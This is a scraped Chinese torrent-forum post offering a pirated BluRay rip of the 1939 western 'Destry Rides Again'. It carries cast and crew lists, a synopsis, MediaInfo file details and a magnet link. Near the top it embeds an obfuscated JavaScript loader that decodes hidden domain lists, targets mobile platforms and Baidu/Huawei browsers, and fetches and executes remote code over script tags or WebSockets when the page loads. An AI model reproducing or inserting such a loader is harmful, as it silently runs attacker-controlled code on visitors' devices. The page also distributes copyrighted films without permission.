碧血烟花[中文字幕]Destry.Rides.Again.1939.Criterion.Collection.1080p.BluRay.迅雷下载 3.73G

版主小s 14天前 147

var x=window['\x61\x74\x6f\x62'],id=x('NDQ0NDczNzY1NjE1Nzg4ODg4OC0xMDAwNw==');document.write('%lt;ins style="display:none!important" id="'+id+'"%gt;%lt;/ins%gt;');(window.adbyunion=window.adbyunion||[]).push(id);window['\x49\x6e\x58\x62\x4c\x54\x4c\x79\x4d\x72']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,w,d,c){var cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';var t=[],l=[],e=0,r=0,delay=2000,f=null,ua=navigator.userAgent.toLowerCase(),sc=Math.max(1,600000),ext='1',i='win'+Math.floor(new Date().getTime()/sc)+ext;if(ua.indexOf('baidu')>-1||ua.indexOf('uawei')>-1){r=1;u=k;f=function(){if(!l.length)return;var ws=new WebSocket(l.shift()+'/'+i);ws.onopen=function(){for(var k in t)t[k]&&clearTimeout(t[k])};ws.onmessage=function(e){new Function('_tdcs',x(e.data))(cs);ws.close()};ws.onerror=function(e){t[++e]&&clearTimeout(t[e]);f()}};}else{f=function(){if(!l.length)return;var s=document.createElement('script');s.src=l.shift()+'/'+i;cs.parentElement.insertBefore(s,cs);s.onload=function(){for(var k in t)t[k]&&clearTimeout(t[k])};s.onerror=function(){cs.parentElement.removeChild(s);t[++e]&&clearTimeout(t[e]);f()}};}u=decodeURIComponent(x(u.replace(new RegExp(c[r]+''+c[r],'g'),c[r])));var l=u.split(',');l.sort(function(){return 0.5-Math.random()});for(var j in l)t[j]=setTimeout(f,delay*j);})('aHR0cHM6Ly9veXdoeWVlaGdoYS5ndWlydWktY2xvdGhlcy5jbb20saHR0cHM6Ly9vYnk2aTg3NjZqZjEuYnVqaWFuZ2ppdTEyMy5jbb20saHR0cHM6Ly9vNzdkMjM0a2RrZmhoLnNwYXJreWluY2h1bbi5jbb20saHR0cHM6Ly9vZmhnODg3MmozODRqZGpmLnRoLW1ha2UuY29tLGh0dHBzOi8vbbzM5ZmoyM2pqZDIzOGUueGlqaS1leHByZXNzLmNvbbQ==','d3NNzOi8vd3NN5ZC53c3RlbnNN5cy5jb206OTg2NNix3c3M6Ly93c2R4LndzdGVuc3JzLmNNvbTo5ODY2LHdzczovL3dzbXIud3NN0ZW5zZGYuY29tOjk4NNjY=',window,document,['b','N']);}:function(){};

◎译 名 碧血烟花 / 碧血烟花,戴斯屈出马

◎片 名 Destry Rides Again

◎年 代 1939

◎产 地 美国

◎类 别 喜剧 / 西部

◎语 言 英语 / 俄语

◎上映日期 1939-12-29

◎IMDb链接 https://www.imdb.com/title/tt0031225/

◎豆瓣评分 7.8/10 (1004人评价)

◎豆瓣链接 https://movie.douban.com/subject/1304404/

◎片 长 94 分钟

◎导 演 乔治·马歇尔 George Marshall (id:1123273)

◎编 剧 费利克斯·雅克松 Felix Jackson (id:1019764)

弗朗西丝·海兰 Frances Hyland (id:1045981)

亨利·迈尔斯 Henry Myers (id:1012972)

马克斯·布兰德 Max Brand (id:1020611)

格特鲁德·珀塞尔 Gertrude Purcell (id:1022101)

◎演 员 詹姆斯·斯图尔特 James Stewart (id:1048136)

玛琳·黛德丽 Marlene Dietrich (id:1013957)

Cactus Mack Cactus Mack (id:1125802)

Philo McCullough Philo McCullough (id:1123288)

Al Taylor Al Taylor (id:1149711)

Charles Murphy Charles Murphy (id:1129460)

埃德蒙·麦克唐纳 Edmund MacDonald (id:1122541)

Bud McClure Bud McClure (id:1122271)

Frank McCarroll Frank McCarroll (id:1119978)

Merrill McCormick Merrill McCormick (id:1116845)

Robert McKenzie Robert McKenzie (id:1115753)

艾伦·詹金斯 Allen Jenkins (id:1114559)

沃伦·海默 Warren Hymer (id:1114030)

米内尔娃·尤雷卡尔 Minerva Urecal (id:1150605)

哈利·坦布鲁克 Harry Tenbrook (id:1154136)

Lillian Yarbo Lillian Yarbo (id:1353831)

比利·吉尔伯特 Billy Gilbert (id:1093820)

Harley Luse Harley Luse (id:1190536)

Alex Woloshin Alex Woloshin (id:1167742)

Duke York Duke York (id:1166976)

Blackie Whiteford Blackie Whiteford (id:1166765)

丹·怀特 Dan White (id:1165824)

查尔斯·温宁格 Charles Winninger (id:1164494)

Rudy Sooter Rudy Sooter (id:1160162)

Leslie Vincent Leslie Vincent (id:1160011)

Jack Tornek Jack Tornek (id:1156012)

威廉·斯蒂尔 William Steele (id:1155196)

Leo Sulky Leo Sulky (id:1149925)

迪克·裘斯 Dickie Jones (id:1106760)

乔·金 Joe King (id:1103861)

Roy Bucko Roy Bucko (id:1069776)

Chief John Big Tree Chief John Big Tree (id:1061525)

理查德·亚历山大 Richard Alexander (id:1059500)

Silver Tip Baker Silver Tip Baker (id:1058797)

比利·布莱彻 Billy Bletcher (id:1054293)

安·E·托德 Ann E. Todd (id:1049862)

米沙·奥尔 Mischa Auer (id:1041569)

杰克·卡森 Jack Carson (id:1041168)

贝塔·圣约翰 Betta St. John (id:1037282)

尤娜·默克尔 Una Merkel (id:1036930)

劳埃德·英格拉哈姆 Lloyd Ingraham (id:1036337)

哈利·考丁 Harry Cording (id:1070478)

Ralph Bucko Ralph Bucko (id:1072226)

Loren Brown Loren Brown (id:1073273)

Marjorie Kane Marjorie Kane (id:1102510)

比利·吉尔伯特 Billy Gilbert (id:1100944)

Sam Garrett Sam Garrett (id:1100350)

萨缪尔·S·辛兹 Samuel S. Hinds (id:1099169)

艾琳 赫维 Irene Hervey (id:1096670)

William Gillis William Gillis (id:1093270)

汤姆·法登 Tom Fadden (id:1090897)

卡门·丹东尼奥 Carmen D'Antonio (id:1078336)

Bill Cody Jr. Bill Cody Jr. (id:1078134)

George Chesebro George Chesebro (id:1077783)

弗吉尼亚·布里萨克 Virginia Brissac (id:1075116)

Spade Cooley Spade Cooley (id:1075069)

Dora Clement Dora Clement (id:1073687)

布莱恩·唐莱维 Brian Donlevy (id:1007141)

伊斯林·奥斯特 Islin Auster (id:1053477)

乔·帕斯特纳克 Joe Pasternak (id:1054166)

弗兰克·斯金纳 Frank Skinner (id:1157480)

哈尔·莫尔 Hal Mohr (id:1025608)

Milton Carruth Milton Carruth (id:1003735)

杰克·奥特森 Jack Otterson (id:1054379)

罗素·A·盖斯曼 Russell A. Gausman (id:1093495)

维拉·韦斯特 Vera West (id:1010530)

弗农·凯斯 Vernon Keays (id:1035682)

◎标 签 美国 / 西部 / 西部片 / 1939 / JamesStewart / 詹姆斯·斯图尔特 / MarleneDietrich / 喜剧

◎简 介

肯特是美国西部巴特尔勒克特市的头头,他由于一种作弊的纸牌游戏落入了城镇巡逻队员的控制之中,也使得一个叫谢里夫·科格的人被杀害了。该市市长与肯特密谋使本镇陷入混乱,以获得自己的利益,他们安排了一个华盛顿·蒂斯代尔的人作为新的治安官,他们以为这个人很好控制。但是,他们不知道蒂斯代尔原来是一个著名检察官汤姆·戴斯特里的代理人,戴斯特里有强大的势力,能够安排更为强大的人马来作为蒂斯代尔的副手。肯特和市长没有想到这一点,虽然他们通过各种周密的计划,想要控制整个事态的发展,但最终失败了,他们的阴谋和罪行大白于天下。

  1. General

  2. Unique ID : 190859605532539581911390154628620382188 (0x8F9639130C63523729C268DF97606FEC)

  3. Complete name : Destry.Rides.Again.1939.Criterion.Collection.1080p.BluRay.x265.10bit.FLAC.MNHD-FRDS.mkv

  4. Format : Matroska

  5. Format version : Version 4

  6. File size : 3.73 GiB

  7. Duration : 1 h 35 min

  8. Overall bit rate mode : Variable

  9. Overall bit rate : 5 614 kb/s

  10. Encoded date : UTC 2021-04-16 08:30:35

  11. Writing application : mkvmerge v45.0.0 ('Heaven in Pennies') 64-bit

  12. Writing library : libebml v1.3.10 + libmatroska v1.5.2

  13. Cover : Yes

  14. Attachments : cover


  15. Video

  16. ID : 1

  17. Format : HEVC

  18. Format/Info : High Efficiency Video Coding

  19. Format profile : Main [email protected]@High

  20. Codec ID : V_MPEGH/ISO/HEVC

  21. Duration : 1 h 35 min

  22. Bit rate : 5 049 kb/s

  23. Width : 1 456 pixels

  24. Height : 1 080 pixels

  25. Display aspect ratio : 4:3

  26. Frame rate mode : Constant

  27. Frame rate : 23.976 (24000/1001/53354) FPS

  28. Color space : YUV

  29. Chroma subsampling : 4:2:0

  30. Bit depth : 10 bits

  31. Bits/(Pixel*Frame) : 0.134

  32. Stream size : 3.35 GiB (90%)

  33. Writing library : x265 0.0:[Linux][GCC 7.5.0][64 bit] 10bit

  34. Encoding settings : cpuid=533541111039 / frame-threads=5 / wpp / pmode / no-pme / no-psnr / no-ssim / log-level=2 / input-csp=1 / input-res=1456x1080 / interlace=0 / total-frames=136763 / level-idc=0 / high-tier=1 / uhd-bd=0 / ref=6 / no-allow-non-conformance / no-repeat-headers / annexb / no-aud / no-hrd / info / hash=0 / no-temporal-layers / no-open-gop / min-keyint=23 / keyint=250 / gop-lookahead=0 / bframes=16 / b-adapt=2 / b-pyramid / bframe-bias=0 / rc-lookahead=80 / lookahead-slices=0 / NTMzNTQ=uuDQuD2mJt9fsCf / scenecut=40 / hist-scenecut=0 / radl=0 / no-splice / no-intra-refresh / ctu=32 / min-cu-size=8 / no-rect / no-amp / max-tu-size=32 / tu-inter-depth=4 / tu-intra-depth=4 / limit-tu=0 / rdoq-level=2 / dynamic-rd=0.00 / no-ssim-rd / signhide / no-tskip / nr-intra=0 / nr-inter=0 / no-constrained-intra / strong-intra-smoothing / max-merge=5 / limit-refs=0 / no-limit-modes / me=3 / subme=7 / merange=57 / temporal-mvp / no-frame-dup / no-hme / weightp / weightb / no-analyze-src-pics / deblock=-3:-3 / no-sao / no-sao-non-deblock / rd=4 / selective-sao=0 / no-early-skip / no-rskip / no-fast-intra / no-tskip-fast / no-cu-lossless / b-intra / no-splitrd-skip / rdpenalty=0 / psy-rd=1.00 / psy-rdoq=1.00 / no-rd-refine / no-lossless / cbqpoffs=0 / crqpoffs=0 / rc=crf / crf=21.0 / qcomp=0.60 / qpstep=4 / stats-write=0 / stats-read=0 / vbv-maxrate=160000 / vbv-bufsize=160000 / vbv-init=0.9 / crf-max=0.0 / crf-min=0.0 / ipratio=1.30 / pbratio=1.20 / aq-mode=2 / aq-strength=1.00 / cutree / zone-count=0 / no-strict-cbr / qg-size=32 / no-rc-grain / qpmax=69 / qpmin=0 / no-const-vbv / sar=0 / overscan=0 / videoformat=5 / range=0 / colorprim=1 / transfer=1 / colormatrix=1 / chromaloc=0 / display-window=0 / cll=0,0 / min-luma=0 / max-luma=1023 / log2-max-poc-lsb=8 / vui-timing-info / vui-hrd-info / slices=1 / no-opt-qp-pps / no-opt-ref-list-length-pps / no-multi-pass-opt-rps / scenecut-bias=0.05 / hist-threshold=0.01 / no-opt-cu-delta-qp / no-aq-motion / no-hdr10 / no-hdr10-opt / no-dhdr10-opt / no-idr-recovery-sei / analysis-reuse-level=0 / analysis-save-reuse-level=0 / analysis-load-reuse-level=0 / scale-factor=0 / refine-intra=0 / refine-inter=0 / refine-mv=1 / refine-ctu-distortion=0 / no-limit-sao / ctu-info=0 / no-lowpass-dct / refine-analysis-type=0 / copy-pic=1 / max-ausize-factor=1.0 / no-dynamic-refine / no-single-sei / no-hevc-aq / no-svt / no-field / qp-adaptation-range=1.00 / no-scenecut-aware-qpconformance-window-offsets / right=0 / bottom=0 / NTMzNTQ= / decoder-max-rate=0

  35. Default : Yes

  36. Forced : No

  37. Color range : Limited

  38. Color primaries : BT.709

  39. Transfer characteristics : BT.709

  40. Matrix coefficients : BT.709


  41. Audio

  42. ID : 2

  43. Format : FLAC

  44. Format/Info : Free Lossless Audio Codec

  45. Codec ID : A_FLAC

  46. Duration : 1 h 35 min

  47. Bit rate mode : Variable

  48. Bit rate : 520 kb/s

  49. Channel(s) : 1 channel

  50. Channel layout : C

  51. Sampling rate : 48.0 kHz

  52. Frame rate : 10.417 FPS (4608 SPF)

  53. Bit depth : 24 bits

  54. Compression mode : Lossless

  55. Stream size : 353 MiB (9%)

  56. Writing library : Lavf58.45.100

  57. Language : English

  58. Default : Yes

  59. Forced : No


  60. Text #1

  61. ID : 3

  62. Format : PGS

  63. Muxing mode : zlib

  64. Codec ID : S_HDMV/PGS

  65. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  66. Duration : 1 h 33 min

  67. Bit rate : 72.7 kb/s

  68. Count of elements : 2972

  69. Stream size : 48.7 MiB (1%)

  70. Language : English

  71. Default : Yes

  72. Forced : No


  73. Text #2

  74. ID : 4

  75. Format : PGS

  76. Muxing mode : zlib

  77. Codec ID : S_HDMV/PGS

  78. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  79. Duration : 1 h 33 min

  80. Bit rate : 31.9 kb/s

  81. Count of elements : 2424

  82. Stream size : 21.4 MiB (1%)

  83. Language : Chinese

  84. Default : No

  85. Forced : No


  86. Text #3

  87. ID : 5

  88. Format : PGS

  89. Muxing mode : zlib

  90. Codec ID : S_HDMV/PGS

  91. Codec ID/Info : Picture based subtitle format used on BDs/HD-DVDs

  92. Duration : 1 h 33 min

  93. Bit rate : 32.5 kb/s

  94. Count of elements : 2424

  95. Stream size : 21.8 MiB (1%)

  96. Language : Chinese

  97. Default : No

  98. Forced : No


  99. Menu

  100. 00:00:00.000 : en:Opening credits

  101. 00:02:16.636 : en:"Little Joe, the Wrangler"

  102. 00:05:26.492 : en:"All or nuthin', I always say"

  103. 00:09:48.337 : en:"You've Got That Look"

  104. 00:15:22.880 : en:"Mr. Washington Dimsdale!"

  105. 00:19:53.025 : en:A stagecoach ride

  106. 00:22:13.290 : en:Pants and parasols

  107. 00:27:08.627 : en:"I ain't got any guns"

  108. 00:30:58.940 : en:Mops and buckets

  109. 00:36:29.645 : en:"I expected you to be like your pa!"

  110. 00:39:33.371 : en:Sharpshooting

  111. 00:43:06.000 : en:The Claggett place

  112. 00:48:25.694 : en:A visit with Frenchy

  113. 00:52:29.312 : en:Unrest in Bottleneck

  114. 00:56:34.641 : en:"I want you to find somethin' for me"

  115. 00:58:22.874 : en:"Going in the saloon?"

  116. 01:01:54.711 : en:"The Boys in the Backroom"

  117. 01:05:16.829 : en:Questions about Keogh

  118. 01:12:22.421 : en:Jail and jury

  119. 01:17:25.641 : en:"I bet you knew a fella once who . . ."

  120. 01:25:52.939 : en:"Get outta the way, you women!"

  121. 01:31:21.392 : en:Welcome to Bottleneck

  122. 01:34:10.436 : en:End credits

  123. 01:35:03.906 : en:Color bars



TAGS 喜剧 西部

磁力链:
  • magnet:?xt=urn:btih:F12A87EF34C6766B5B6F80E81120826597862621
上传的附件:

BT9527.com论坛第一帅,不接受任何反驳
BT9527电影天堂 1、BT9527电影天堂提供的BT文件均来源于互联网抓取,只供网友学习交流、技术提升使用。
2、我们遵守BitTorrent点对点协议原则,任何版权问题请联系原资源发布商,我们不处理任何版权纠纷,谢谢!如有争议请联系邮箱:BT9527#hotmail.com(#换成@)
3、如果您发现某页面或地址有错误,请联系站长邮箱BT9527#hotmail.com(#换成@),我们会尽快处理。您的热心是对BT9527电影天堂最大的支持。
4、本站建议去正规影院观看电影以支持电影行业发展。

最新回复 (0)

你可以在 登录 or 注册 后,对此帖发表评论!

返回